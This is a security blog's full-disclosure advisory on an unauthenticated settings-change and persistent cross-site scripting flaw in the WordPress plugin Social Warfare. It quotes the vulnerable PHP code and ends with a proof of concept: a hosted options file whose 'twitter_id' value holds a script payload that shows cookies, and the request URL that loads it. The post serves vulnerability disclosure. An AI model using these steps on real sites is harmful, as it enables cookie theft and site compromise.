21 Mar

Full Disclosure of Settings Change/Persistent Cross-Site Scripting (XSS) Vulnerability in Social Warfare

With our proactive monitoring of changes made to WordPress plugins in the Plugin Directory to try to catch serious vulnerabilities we review a lot of code that ends up not being vulnerable, so even if the flagged code looks rather concerning it doesn’t raise a lot of concern at first for us even, if like the code flagged in the plugin Social Warfare, which we will get to in a moment, indicates there might be a very serious vulnerability. When we checked over the rest code related to the flagged code with that plugin we found that the plugin allows anyone to change the plugin’s settings and that could be used to cause persistent cross-site scripting (XSS), which is just the sort of vulnerability hackers have shown a lot of interest in recently. The plugin has 70,000+ active installations according to wordpress.org, which makes it all the more likely that would be exploited.

Our Plugin Security Checker flags the same code as possibly being vulnerable, though it gets flagged by that for a less serious issue, server-side request forgery (SSRF).

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Details

The line of code flagged is the following:

231
$options = file_get_contents($_GET['swp_url'] . '?swp_debug=get_user_options');

That will take contents of a file on the website or another website, which is specified by user input, the GET input “swp_url”, and sets it to the variable $options. Based on the name of the variable that could indicate that arbitrary user input from a remote location might be able to be set as the plugin’s options (settings), which in the worst case could lead to the type of vulnerability being exploited this week in Easy WP SMTP.

The worst case though could be ruled out right away, because while that code is used to update the plugin’s settings, the code at least restrict what WordPress option can be updated:

275
if (update_option( 'social_warfare_settings', $new_options )) {

There is a bit of code between those two lines that if you want to see, you can find in the function debug_parameters() in the file /social-warfare/lib/utilities/SWP_Database_Migration.php.

Whether there is a vulnerability there would depend on who and how some can access that code. Things start off looking bad when the code checks if is_admin(), which doesn’t indicate if someone is Administrator, but if they are accessing an admin page, which even those not logged in can do (why the WordPress developer haven’t done something about that misleading function despite the problem with it being warned about before it was introduced in the production version of WordPress over 8 years ago is beyond us):

226
227
228
229
if ( true == SWP_Utility::debug('load_options') ) {
	if (!is_admin()) {
		wp_die('You do not have authorization to view this page.');
	}

That other check just checks if the GET input “swp_debug” is set to “load_options”:

275
276
277
public static function debug( $key = '' ) {
	return !empty( $_GET['swp_debug'] ) && ( strtolower( $_GET['swp_debug'] ) == strtolower( $key ) );
}

The function debug_parameters() the previous code is in will run when a function named init() is run:

50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
public function init() {
 
	// Check for and migrate the settings page data.
	if ( !$this->database_is_migrated() ) {
		$this->migrate();
	}
 
	// Initialize the database for new installs.
	if ( !$this->has_3_0_0_settings() ) {
		$this->initialize_database();
	}
 
	// Check for and migrate the post meta fields.
	if ( !$this->post_meta_is_migrated() ) {
		$this->update_post_meta();
		$this->update_hidden_post_meta();
		$this->update_last_migrated();
	}
 
	$this->debug_parameters();

You would think that means that it runs during init, but it turns out it runs during plugins_loaded:

38
add_action( 'plugins_loaded', array( $this, 'init' ), 100 );

The result is the same, anyone can change the plugin’s settings.

As the proof of concept, shown below, we quickly threw together shows (so hackers would have no problem doing that if we hadn’t provided that), you can abuse that to cause malicious JavaScript code to be placed on the plugin’s admin page and frontend pages of the website, which is persistent cross-site scripting (XSS).

SSRF comes in to play as the original line of code we showed allows making request to arbitrary URLs.

The other code in the function debug_parameters() allows anyone to do other things like export the plugin’s settings.

Proof of Concept

The following proof of concept will cause any available cookies to be shown on the plugin’s admin page and frontend pages where the plugin functionality is shown.

Place the following contents in a file accessible via a URL:

<pre>array (
  'analytics_campaign' => 'SocialWarfare',
  'analytics_medium' => 'social',
  'bitly_authentication' => false,
  'button_alignment' => 'fullWidth',
  'button_shape' => 'flatFresh',
  'button_size' => 1,
  'cache_method' => 'advanced',
  'ctt_css' => '',
  'ctt_theme' => 'style1',
  'custom_color' => '#000000',
  'custom_color_outlines' => '#000000',
  'decimal_separator' => 'period',
  'decimals' => '0',
  'default_colors' => 'full_color',
  'facebook_app_id' => '',
  'facebook_publisher_url' => '',
  'float_alignment' => 'center',
  'float_background_color' => '#ffffff',
  'float_before_content' => false,
  'float_button_count' => 5,
  'float_button_shape' => 'default',
  'float_custom_color' => '#000000',
  'float_custom_color_outlines' => '#000000',
  'float_default_colors' => 'full_color',
  'float_hover_colors' => 'fullColor',
  'float_location' => 'bottom',
  'float_location_page' => 'off',
  'float_location_post' => 'on',
  'float_mobile' => 'bottom',
  'float_screen_width' => '1100',
  'float_single_colors' => 'full_color',
  'float_size' => 1,
  'float_style_source' => true,
  'float_vertical' => 'center',
  'floating_panel' => true,
  'force_new_shares' => false,
  'frame_buster' => false,
  'full_content' => false,
  'google_analytics' => false,
  'gutenberg_switch' => true,
  'hover_colors' => 'full_color',
  'last_migrated' => '3.0.5',
  'location_archive_categories' => 'below',
  'location_home' => 'none',
  'location_page' => 'below',
  'location_post' => 'below',
  'minimum_shares' => 0,
  'network_shares' => true,
  'og_page' => 'article',
  'og_post' => 'article',
  'order_of_icons' => 
  array (
    'twitter' => 'twitter',
    'pinterest' => 'pinterest',
    'facebook' => 'facebook',
    'google_plus' => 'google_plus',
  ),
  'order_of_icons_method' => 'manual',
  'pin_browser_extension' => false,
  'pin_browser_extension_location' => 'hidden',
  'pinit_image_description' => 'alt_text',
  'pinit_image_source' => 'image',
  'pinit_location_horizontal' => 'center',
  'pinit_location_vertical' => 'top',
  'pinit_min_height' => '200',
  'pinit_min_width' => '200',
  'pinit_toggle' => false,
  'pinterest_fallback' => 'all',
  'pinterest_id' => '',
  'pinterest_image_location' => 'hidden',
  'recover_shares' => false,
  'recovery_format' => 'unchanged',
  'recovery_prefix' => 'unchanged',
  'recovery_protocol' => 'unchanged',
  'single_colors' => 'full_color',
  'swp_click_tracking' => false,
  'swp_twitter_card' => true,
  'total_shares' => true,
  'totals_alignment' => 'totals_right',
  'transition' => 'slide',
  'twitter_id' => '"><script>alert(document.cookie);</script>',
  'twitter_shares' => false,
  'utm_on_pins' => false,
)</pre>

Then access the following URL.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[URL of file]” with the URL of the file you just created.

http://[path to WordPress]/wp-admin/admin-post.php?swp_debug=load_options&swp_url=[URL of file]

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.